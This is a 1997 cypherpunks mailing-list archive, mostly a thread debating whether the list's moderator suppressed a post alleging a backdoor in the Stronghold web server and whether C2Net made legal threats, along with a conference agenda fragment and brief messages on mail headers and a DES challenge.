       into the plan can solidify, stabilize and extend the offering
       beyond the Internet marketplace and create longevity and
       security and financial return on your offering. This session
       will explore secondary markets and how traditional
       exchanges are advocating the collaborative efforts of
       traditional and web offerings.
       Iris Golden Brackett, Manager
       Listing Sales
       CHICAGO STOCK EXCHANGE

       4:30 Panel Discussion: PUBLIC OFFERINGS AND THE
       INTERNET: LEGAL CONSIDERATIONS
       Join three of the most influential Internet finance and
       securities attorneys for this highly interactive session. They
       will discuss the legal aspects associated with buying and
       selling securities on the Internet, including private
       placement, Regulation A offerings and independent public
       offerings. Come prepared to share your challenges and
       solutions!
       William D. Evers, Esq.
       MILLER, MAILLIARD & CULVER

       M. Greg Allio, Esq.
       SHARTSIS, FRIESE & GINSBERG

       John Perkins, Chairman
       THE SMALL BUSINESS CAPITAL ACCESS
       ASSOCIATION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       5:45 CLOSE OF DAY ONE

DAY TWO
March 20, 1997

       8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND
       ASK OFFERS: THE EMERGENCE OF DIRECT STOCK
       MARKET
       The secondary market is the key to successful initial and direct
       public offerings. The traditional brokerage community has
       their hands tied when it comes to underwriting and making
       markets in small company issues. A new strata of corporate
       finance is being created by technological advances which
       marry capital requirements of entrepreneurs with risk/return
       and information demands of investors. This presentation will
       explore:
              Using the internet to raise capital for your company
              Secondary market trading on the Internet
              Virtual roadshows online
              Building your own public venture capital portfolio
              Investing in public venture funds
       Clay Womack, President
       DIRECT STOCK MARKET
       http://www.direct-stock-market.com

       9:15 EXPLOITING INTERNET TECHNOLOGY TO
       REACH A GLOBAL AUDIENCE
       The power of the Internet has unleashed the potential for new
       business expansion and financial opportunity in a global
       market. Foreign businesses can now join forces quickly to
       create products and services and offer them to a larger
       population than before. This session will examine how to
       cultivate these partnerships, foster growth and secure
       positive financial outcomes by:
              Using the Web to build your business and
              partnering with co-opitition
              Attracting "qualified" people to your site
              Exploring value-added opportunities in the
              financial market on the Internet
       Michael Withrow, Director
       POWERTRADER, INC.
       http://www.powertrader.axionet.com

       10:45 UNDERSTANDING THE COMPONENTS OF A
       STOCK TRANSFER
       Choosing a transfer agent with diversity of services allows
       your company to do more and retain extra added-value
       components and services. This session will take you
       step-by-step through the IPO process from working with
       attorneys through to the transfer work. Learn how to: How
       to judicate a stock transfer
       Outline the processes needed
       Develop the steps involved
       Anticipate the role of the Internet in stock transfers
       Sherri Herman, President
       THE HERMAN GROUP, INC.
       SMALL BUSINESS CAPITAL ACCESS ASSOCIATION

       1:00 INTERNET TRANSACTIONS FOR THE
       PORTFOLIO MANAGER
       This session will feature case studies and the future outlook
       on internet transactions for portfolio managers including:
              What is the Electronic/Internet Information
              System?
              -Office based and wireless
              -Text and video
              How is it used?
              -The two way information flows
              -Routine and custom information
              Specific needs and requirements for the portfolio
              manager and ways of customizing the information
              What are the advantages of the new system?
              Costs and tools of the system
              -Dollars
              -Technology
              -Savvy and advertising
       John Palicka, CFA, CMT
       Portfolio Manager
       GLOBAL EMERGING GROWTH

       2:30 INTERNET OPPORTUNITIES FOR PUBLIC
       COMPANIES
       This session will focus on opportunities available on the
       Internet to companies that are publicly traded. A presentation
       no senior executive should miss! This presentation will
       examine why public companies should consider the added
       profitability of the Internet and offer specific Internet
       strategies and risks including:
              Using the Internet to improve liquidity
              Build a stock analyst following using the Internet
              Dealing with Motley Fool's and other potential
              risks
       M. Greg Allio, Partner
       SHARTSIS FRIESE & GINSBERG

       3:30 CREATING AN ELECTRONIC STOCK EXCHANGE
       Exploiting IP-Understanding Internet Protocol (IP) - How
       to make your business grow ON-LINE by using the "best of"
       all available software
       Order Driven Systems- Understanding why market makers &
       specialists are a "necessary evil" we live with, and look at the
       functionality of SuperDot-type automation as opposed to
       Drop Copy
       A Virtual Branch Office- The growth of the independent
       brokerage industry, and a look at what will happen to the
       traditional registered representative
       Compliance/Supervision- How a small brokerage firm will
       supervise their representatives in the Internet age
       Ken Gruneisen, President & CEO, BEST EX, INC.
       THE BOCA RATON ELECTRONIC STOCK EXCHANGE

       5:30 END OF CONFERENCE


Post Conference Workshops
-------------------------
9:00am - 12:00pm The Impact of the World Wide Web on Individual
Investors and Electronic Stock Trading

1pm - 4pm
Building the partnership between Electronic Commerce and Raising
Capital1pm - 4pm
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 23:28:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Offending Stronghold posts...
In-Reply-To: <v03020902af2d5ccf4be9@[139.167.130.246]>
Message-ID: <199702170718.HAA00390@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:
> Would someone (besides <spit!> Dr. Vulis of course, or my kill-file eat
> it...) please forward me the Stronghold article by Dimitri and all replies
> thereto, so I can at least see what the fuss was all about? I might as well
> include them in the e$pam feed for posterity.

My archive is patchy at the time, as I subscribed to cp and cp-flames,
and only switched to cp-unedited when it became apparent that I would
be missing some posts by not being on cp-unedited.

However, these are the posts that I have obtained from list members,
the posts from Tim were forwarded to me by Tim himself (on request --
he offered in a post to do so), Dimitri's post was forwarded to me by
Peter Hendrickson and confirmed by Toto, and Igor.  Tim declined to
confirm or deny when I forwarded him Dimitri's post due to the legal
threats.  I do think that this is Dimitri's original post.  You will
observe that the post it isn't flamish.

There are many, many other posts which go to confirm the list of
events.  There may be other replies, but this should keep you going.

[0] Dimitri
[1, 2, 3, 4] Tim's followups (forwarded to me by Tim)
[5] Tim on the legal threats

I would appreciate confirmations of which of the lists 

	cypherpunks@toad.com (moderated list)
	cypherpunks-unedited@toad.com
	cypherpunks-flames@toad.com

these 5 posts went to, and confirmations that others on
cypherpunks-unedited received them as quoted below.  

I would also be interested to know which lists my recent potted
history went to, this was the posting starting:

: Date: Sun, 16 Feb 1997 23:49:09 GMT
: From: Adam Back <aba@dcs.ex.ac.uk>
: To: cypherpunks@toad.com
: Subject: Moderation experiment and moderator liability
: 
: 
: There appears to be a bit of a hush up surrounding the circumstances
: of the pause in the moderation experiment and subsequent change of
: moderation policy.
...

Thanks,

Adam

[0]
======================================================================
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Message-Id: <aw5c2D4w165w@bwalk.dm.com>

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold".

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

[1]
======================================================================
Date: Fri, 7 Feb 1997 13:46:39 -0800
To: Against Moderation <antimod@nym.alias.net>
From: "Timothy C. May" <tcmay@got.net>
Subject: Is Sandy really censoring criticisms of Stronghold, his product?
Cc: cypherpunks@toad.com

At 9:19 AM +0000 2/7/97, Against Moderation wrote:
>"Timothy C. May" <tcmay@got.net> writes:
>
>> Well, I only subscribe to the Flames list--there is no doubt about this.
>>
>> In any case, what is the meaning of a message going only to the "Unedited"
>> list?  A message that goes to the Unedited list but _not_ to the Flames
>> list must surely go to the Main list, right?
>>
>> That is,
>>
>> MAIN list + FLAMES list = UNEDITED list
>
>No, this is not the case.  At this point the unedited list does
>definitely get everything that gets mailed to cypherpunks.  However,
>Vulis did apparently send a couple of [obnoxious, flamey and blatantly
>untrue] posts about security holes in Stronghold.  Sandy deleted that
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>message and did not send to the mail or flames lists.
>
>Could have been an accident, or could be because Vulis and Sandy hate
>each other...


Whether true or not, it is not the role of Sandy the Censor to decide on
the truth of various claims in people's posts. Even by his own (vague and
changing) standards, deciding on the _truthfulness_ of articles was never
a criterion.

This is a serious charge. Can you send to the list, with a copy to me, the
articles which cited security holes in Stronghold?

Given that Sandy works for a company, Community Connection/C2NET, which
_sells_ Stronghold, it would be serious indeed if Sandy is using his role
as List.Censor to keep such articles from the main list, and even more
serious (much more serious), if Sandy is discarding such articles
completely.

Given the extremely serious implications of this charge, I would like to
see some evidence before believing it.

By the way, this again raises the issue of the danger of filtering out
posts merely because _somewhere_ in the post insulting words are used.
(Recall that my long essay was almost scrapped by Sandy, by his own
admission, because one small paragraph said unflattering things about some
people. Jeesh. Is this what Cypherpunks has become?)

It would be far better, and more honest (in a warped way), if Sandy were
to leave in the substantive sections of all posts and merely mark
offending sections as "***** C E N S O R E D *****." Then people could
read the various claims made in posts and still have the "naughty bits"
blacked out, so as not to offend their sensibilities. It's the honest way
to censor.

--Tim May

[2]
======================================================================
Date: Fri, 7 Feb 1997 13:59:23 -0800
To: cypherpunks@toad.com
From: "Timothy C. May" <tcmay@got.net>
Subject: More on the Stronghold Charge
Cc: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)

Vulis has sent me private mail, which I won't quote here because of the
usual netiquette standards that private mail not be quoted (though it's
legal to do so). He asserts that a few weeks ago he sent criticisms of
Stronghold out to the Cypherpunks list, and the criticisms did not appear
on any of the distributed lists.

He claims he then received communications from C2Net of a legal nature,
threatening him with legal action. I'll let Vulis elaborate if he wishes,
as I don't know the situation. And I encourage him to do so, for more than
one reason.

As I just replied to "Against Moderation" on, I would like to see these
articles which were suppressed. Please repost them to the list, and copy
me to ensure that I get them.

If this claim is true, that Sandy blocked criticism of Stronghold from
reaching either the Main list (bad enough), or from even going out at all
on the Flames list (reprehensible), then this is an extremely serious
charge.

If the claim is true that Sandy used articles sent to the Cypherpunks
list, but never distributed to the list, as the basis by the company which
employs him of legal threats of any kind, then this is even more than just
"extremely serious."

I would like to hear more from Vulis, and copies of any such articles, and
of course would like to hear Sandy's version of things.

This is too serious a charge not to resolve.

--Tim May

[3]
======================================================================
Date: Fri, 7 Feb 1997 15:03:02 -0800
To: Against Moderation <antimod@nym.alias.net>
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Cc: cypherpunks@toad.com

At 10:07 PM +0000 2/7/97, Against Moderation wrote:
>Okay, I went through my old mail, and I'm fairly sure this is the
>message.  I'm convinced it never went to the flames list, and now that
>I've found out I'm on the -unedited list after all, I think it
>probably didn't go to the regular cypherpunks list either.  Can people
>on the various lists confirm this for me?

I checked the archive site (http://infinity.nus.sg/cypherpunks) for the
"main" (censored) list, and do not see it there, either by title or by
author.

I only recently subscribed to the Flames list, so I cannot check to see if
it went there. Anyone else check the Flames list?

As I said in my last messages, if this message went to neither the Main
list nor the Flames list, then a very serious problem has been exposed.

Further, if the post, while not being sent to either of the nominal lists
which filtered stuff is supposed to go to, was used as the basis of legal
threats by the employer of Sandy, the list's censor, then dramatically
more serious implications seem evident. I await Sandy's views with great
anticipation.

The message itself does not look flamish to me. It makes charges, but so
do a zillion other posts. It cannot be the job of a censor to decide on
what is true and what is not true.

>Given the total lack of technical content, the flamey nature of the

It's not "flamey." Nobody is called a cocksucker, nobody is called  a
faggot, etc. Yes, it claims a product has a trojan horse, but this is a
claim comparable to other claims routinely made on list and newsgroups.

I'm also neither stupid nor disingenuous. I realize full well that Vulis
probably made the claim because he knows Sandy works for the seller of
Stronghold. Be that as it may, it is not proper for a censor employed by
the seller of a product to decide that criticisms of his product are
flamish. Would the list have countenanced censorship of criticisms of an
RSADSI product if the list were being censored by an employee of RSADSI?
And by letting Vulis make such a claim, and then having it quickly
rebutted by other employees of C2Net, for example, Vulis would be shown to
be spreading disinformation and his reputation capital would decline still
further.

If in fact the Vulis claim never made it either of the two lists to which
all filtered messages are supposed to be sorted, then deception has
occurred. And a conflict of interest.

Again, I await Sandy's response.

>A lot of people out there are subscribing to the cypherpunks-flames
>and cypherpunks lists thinking that they will see everything that gets
>rejected (albeit with a substantial delay).  If this is not the case,
>it should be made clear.  Otherwise, it's not moderation, but
>dishonesty.

Indeed.

--Tim May

[4]
======================================================================
Date: Fri, 7 Feb 1997 21:46:10 -0800
To: Against Moderation <antimod@nym.alias.net>, cypherpunks@toad.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Frightening Dangers of Moderation
Cc: hugh@toad.com

At 4:31 AM +0000 2/8/97, Against Moderation wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, folks, tonight I have witnessed the frightening dangers of
>moderation and censorship first-hand, and would like to tell you what
>has happened.  I think there is an important lesson to be learned from
>these incidents.

(long account of getting legal threats for quoting a message about
CENSORED elided)

This is indeed an important incident. I hope we can discuss it. Many
issues central to Cypherpunks are involved. To name a few:

* the moderation/censorship issue itself (though we have probably beaten
this one to death in the last few weeks).

* the "libel" issue, especially as it involves Sandy, his company, and the
machine the list is hosted from. The introduction of a censor has, as many
of us predicted, raised serious libel and liability issues. (This is the
best reason I can think of it to move to an "alt.cypherpunks" system,
where bypassing of liability, libel, copyright violation, etc.,  laws is
naturally handled by the globally decentralized and uncontrolled nature of
Usenet.)

* conflicts of interest issues. Apparently Sandy feels information
deleterious to C2Net, having to do with a claimed CENSORED in the software
product CENSORED, cannot be passed by him to _either_ of the two lists to
which articles are supposed to be sent. (Sadly, he did not tell us of this
meta-censorship when it happened. This made what he did deceptive as well
as wrong.)

* chilling of discussion. As "Against Moderation" notes, merely _quoting_
the article of another caused Sandy to not only reject his article, but
also to contact him and raise the threat of legal action. (This even
though Against Moderation added all sorts of "obviously false" comments to
what Vulis had written.)

* even more threats. At the request of CENSORED today, I called CENSORED
and had a verbal communication with him (a nice guy, by the way) about
this situation. He averred that "you don't want to be pulled into this,"
and suggested that if I post certain things, even quoting the reports that
a CENSORED exists in CENSORED, I could well be sued by the lawyers of his
company!

These are issues which remailers, decentralized servers, anonymity, data
havens, and other Cypherpunks technologies make important issues for us to
discuss.


When did Cypherpunks start thinking about libel? (Obvious answer: when
_their_ companies were the targets of criticism, lies, libel, whatever.)
It's not as if insulting or even "libelous" (I'm not a lawyer) comments
have not been made routinely on the list. Insulting companies and other
institutions has been standard Cypherpunks fare since the beginning.
Mykotronx has been accused of high crimes, RSADSI has been declared to be
placing backdoors in code, Phil Zimmermann has been declared to be an NSA
plant ("only trust the versions of PGP before he cut the deal to get his
freedom"), and so on. Think about it. Just about any company with any
product related to crypto has at one time or another had their motives
questioned, their products slammed, etc.

Unfortunately, our Late Censor is an employee of one of the companies so
slammed, and he has reacted by rejecting one or more of these slams
without bothering to tell the list that he has to do so. (Were it me, I
would have "recused" myself from the decision, or at least told the list
in general terms what was going on, or, more likely, resigned as censor.
But then I would never have been a list.censor in the first place.)

I understand that Sandy is stepping down as our Moderator. The Censor is
Dead, Long Live Sandy! I expect to harbor no continuing resentment toward
Sandy (though I expect things will be strained for a while, as might be
expected).

The issues raised are ugly ones. Here's what scares me: the "precedent"
may irretrievably be established that companies offended by words on the
list will threaten legal action to recover their good name. I can imagine
Mykotronx or even First Virtual citing the actions of C2Net as a precedent
(a cultural precedent, to the extent there is such a thing) for their own
legal letters.

As with the terrible precedent set by the "even Cypherpunks had to censor
themselves" experiment, these companies may be able to say "But even a
Cypherpunk-oriented company realized that the antidote for damaging speech
was not rebutting speech. No, these Cypherpunks realized that some
threatening letters and pulling the plug on the speaker was a better
approach."

And we won't be able to easily argue that Mykotronx has no right to do
this while C2Net does.

Sandy, in his message a few hours ago to Against Moderation, even made the
claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore
could be held liable for speech on the Cypherpunks list. (I don't doubt
the "could," but I hate like hell to see a Cypherpunkish company leading
the charge.)

Perhaps this is true. But the Censorship experiment, and the resulting
threats of legal action by C2Net to stop mention of the alleged CENSORED
in their product CENSORED, fuel the fire. Instead of denigrating such
legal moves--as I'm sure most Cypherpunks would have done a few years ago
if RSADSI were to try to sue people for making outrageous claims--we have
a major company consisting of several leading Cypherpunks making just such
threats.

I'm not a legal scholar, but is it really the case that merely _alluding_
to the allegedly libelous comments of another is itself a libel? Is a
reporter who writes that "Person X has alleged that Product Y has a Flaw
Z" thus committing a libel? (I don't think so, as reporters frequently
report such things. If merely quoting an alleged libel is also libel, then
presumably a lot of reporters, and even court clerks reporting on cases,
are libelers.)

(ObLisp reference: quoting an expression ought to have a different return
value than evaluating an expression! That's what quotes are for.)

My comments this past week have not been motivated by animosity toward
Sandy, and certainly my comments today are not motivated by any animosity
about C2Net or any of its employees (including CENSORED, whom I spoke with
today).

My comments started out as being a summary of why I had left Cypherpunks
when the Great Hijacking was announced. Since last Sunday, when I issued
my "Moderation" post, I've only responded to messages I was CC:ed on, or
to messages on the Flames list, which I subscribed to temporarily to
better see what Sandy was calling flames. The discovery that certain posts
were not appearing on either the Main list or the Flames list triggered
today's comments about Sandy and the alleged CENSOREDCENSOREDCENSORED
(blah blah blah).

I hope we can declare this Censorship experiment a failure and move on.
However,  it is almost certain that as a result of attempts to suppress
certain views, that the move back to an unfiltered state will mean that
some will use anonymous remailers and nym servers to post even _more_
claims, however outrageous.

This is a predictable effect. Cf. Psychology 101 for an explanation.
Kicking Vulis off the list predictably produced a flood of Vulis
workarounds, and a surge in insults via anonymous remailers. Instituting
censorship of the list triggered a flood of comments critical of the
experiment, and a predictable "testing" of the censorship limits. And,
finally, now that C2Net is threatening legal action to stop
discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a
lot of repetition of these claims via remailers. And, I predict, claims
about CENSORED will even be spread more widely, e.g., on the Usenet.

(Sadly, I half expect a letter from some lawyers or lawyer larvae saying I
am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle."
Lawyers, take your best shot.)

======================================================================
Date: Sun, 16 Feb 1997 19:14:04 -0800
From: tcmay@got.net (Tim May)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
Newsgroups: alt.cypherpunks,alt.privacy,comp.org.eff.talk
References: <tcmay-ya023180001202971203130001@news.znet.net> <5e2qqm$ahi$1@news.sas.ab.ca> <E5nqty.4rD@world.std.com>

(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Mon, 17 Feb 1997 11:21:26 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com>
Subject: Re: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
In-Reply-To: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com>
Message-ID: <199702171601.JAA09201@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970216:1241 Bill Stewart <stewarts@ix.netcom.com> said:

+Hi!  The following headers are from a posting by John Young that looks
+like it was sent to cypherpunks@toad.com,
+forwarded to cypherpunks@sirius.infonex.com and/or
+cypherpunks@cyberpass.net, and has the Reply-To: header
+set to reply to cypherpunks@toad.com instead of to John Young.... It
+looks like the obvious implementation of cypherpunks-style mail header
+patching, but isn't quite right.....  Leads to people sending their
+John Young mailbot requests to cypherpunks@toad.com instead, as some
+well-known cypherpunks have mistakenly done recently :-)

    this is what Lance said he would do...  until toad.com shuts down, 
    you address all messages to cypherpunks@toad.com to avoid overlap.
    toad.com was never set up to show cypherpunks@road.com in the 
    "Reply-To: " field, but it should have been.

    mailing lists then have the "From: " field from the original sender,
    and the "Reply-To: " to the list.  Now, there are reasons some list
    operators do not change the reply field --usually in the hope any
    responders will not notice the list is not being copied....in just 
    turns into private mail.

    for the almost 20 years I been playing with mail lists of various 
    sorts starting with simple inbound scoop and explode to list, 
    Lance's convention has been the norm.

        attila gone...
 ___________________________________________________________attila_____
    "A man owns an ass; he can vote.  
    The ass dies; he cannot vote.  
    Who owns the vote?"
        --Benjamin Franklin
 _______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Version: 2.6.3i
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Comment: No safety this side of the grave. Never was; never will be

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 05:56:04 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: The Offending Stronghold posts...
Message-ID: <1.5.4.32.19970217134942.006fa6d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here're wee additions to your archive:

I subbed to cp-unedited from the first, so could compare the unedited 
messages with the edited. Some of mine(*) were edited, including a few
on the Stronghold topic. But to me that's not as big a deal as some want
to make of it.

For example, in response to Tim's request to repost DV's Stronghold ploy, 
I did so, and it was edited. Sandy sent me a courteous email stating that he 
was not forwarding the message. I answered that that was okay with me 
because I thought that DV was using the issue as a ploy to undermine 
Sandy. Hey, there were no legal or other threats made to me, darn it!

Another of my edited messages stated that there had been good discussion
on the unedited list about DV's Denial of Service attack on Cypherpunks.

Another noted that DV had been admirably successful in drawing others into
his fight -- in support and in opposition -- as part of his DoS.

Another questioned "Who's Censoring Who?" and offered the opinion that 
"censorship" rhetorically exaggerated Sandy's moderation. (I still believe 
that's the case.)

For what it's worth, I oppose moderation, but favor experimentation, in
the recognition that humans are near-endlessly adaptable and near-
uncontrollable no matter what control mechanisms are employed -- anarchy
is the norm whether advocated or not.

So, I think the moderation experiment was a success, in that it has led to an 
unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, 
that's for sure -- and showed that any archy is wishful dreaming of tortured
hearts and minds and loins.

A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks
house the way SATAN did bigger shoddy piles. Two hands to TCM for more 
memorable quaking of structure-bunkered c'punks and others.

-----

* I'll supply copies of messages cited if you like.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 09:51:53 -0800 (PST)
To: John Young <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
In-Reply-To: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com>
Message-ID: <v03007800af2e48c1dc67@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0500 2/17/97, John Young wrote:

>Return-Path: cypherpunks-errors@toad.com
>X-Sender: jya@pop.pipeline.com
>Date: Sun, 09 Feb 1997 13:17:32 -0500
>To: cypherpunks@toad.com
>From: John Young <jya@pipeline.com>
>Subject: Who's Censoring Who?
>Sender: owner-cypherpunks@toad.com
>
>Sandy's e-mailed several of us who've sent messages about Vulis's
>ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
>on moderators of all kinds, not just on the net.

Interestingly, I don't recall getting any e-mail from Sandy telling me he
was not passing on my messages to either the Main or the Flames list...my
messages were simply dropped on the floor. (Others, including John, have
said they sometimes got nice Sandygrams explaining why their items were
deemed unsuitable for either of the lists. Sandy may have considered it
pointless to send me an explanation....)


>It's probably worth saving accusations of censorship for the real thing,
>after trial usage here for what is truly nasty high-stakes global info-war
>gaming.

As John likes literary references, recall William Burroughs' warning about
"the policeman inside."

I can't share John's belief that we should ignore censorship on the CP list
(especially messages going to neither of the two specified lists, without
notice). Waiting "for the real thing" is not a clear-cut issue, as explicit
censorship of political views is not likely to happen in our lifetimes in
the U.S.

However, "self-censorship," a la the V-chip, the mandatory voluntary
labeling of CDs, etc., is becoming the favored route. And the use of  the
legal system, or threats to use the legal system (a la threats made to
Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun
inspired by John's flights of rhetorical fancy).

>[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
>to the cp-edited list, AFIK.]

One of the interesting, and utterly predictable, consequences of "silent
suppression" of some messages is that those on the unedited list, who see
all traffic (for the nonce), get to engage in conversations which are
subsequently suppressed so that several of us are having a conversation the
main list (and the flames list) are oblivious to!

This has had the fascinating effect of having people outside the
conversation (as an example, Blanc Weber) gradually figuring out from
"approved" messages that something is going on behind the scenes...they
they send us messages (as Blanc did) asking what the hell is going on, what
we're obliquely referring to. When the excised material is forwarded to
them (as I did with Blanc), the reaction is often "Wow! I didn't know."

As conversational threads are often so tangled, and become so much more
tangled with time, the job of the censor gets more difficult as time
passes. Not only must he excise all mention of banned topics, he must also
be alert to later discussions making mention of the act of banning, or of
the topics. This is territory well-covered by Orwell, of course. The
rewriting of history is a full-time job.

--Winston Smith


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 07:23:43 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152302.XAA00412@server.test.net>
Message-ID: <Pine.LNX.3.95.970217102159.32598H-100000@FROODY.bloke.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
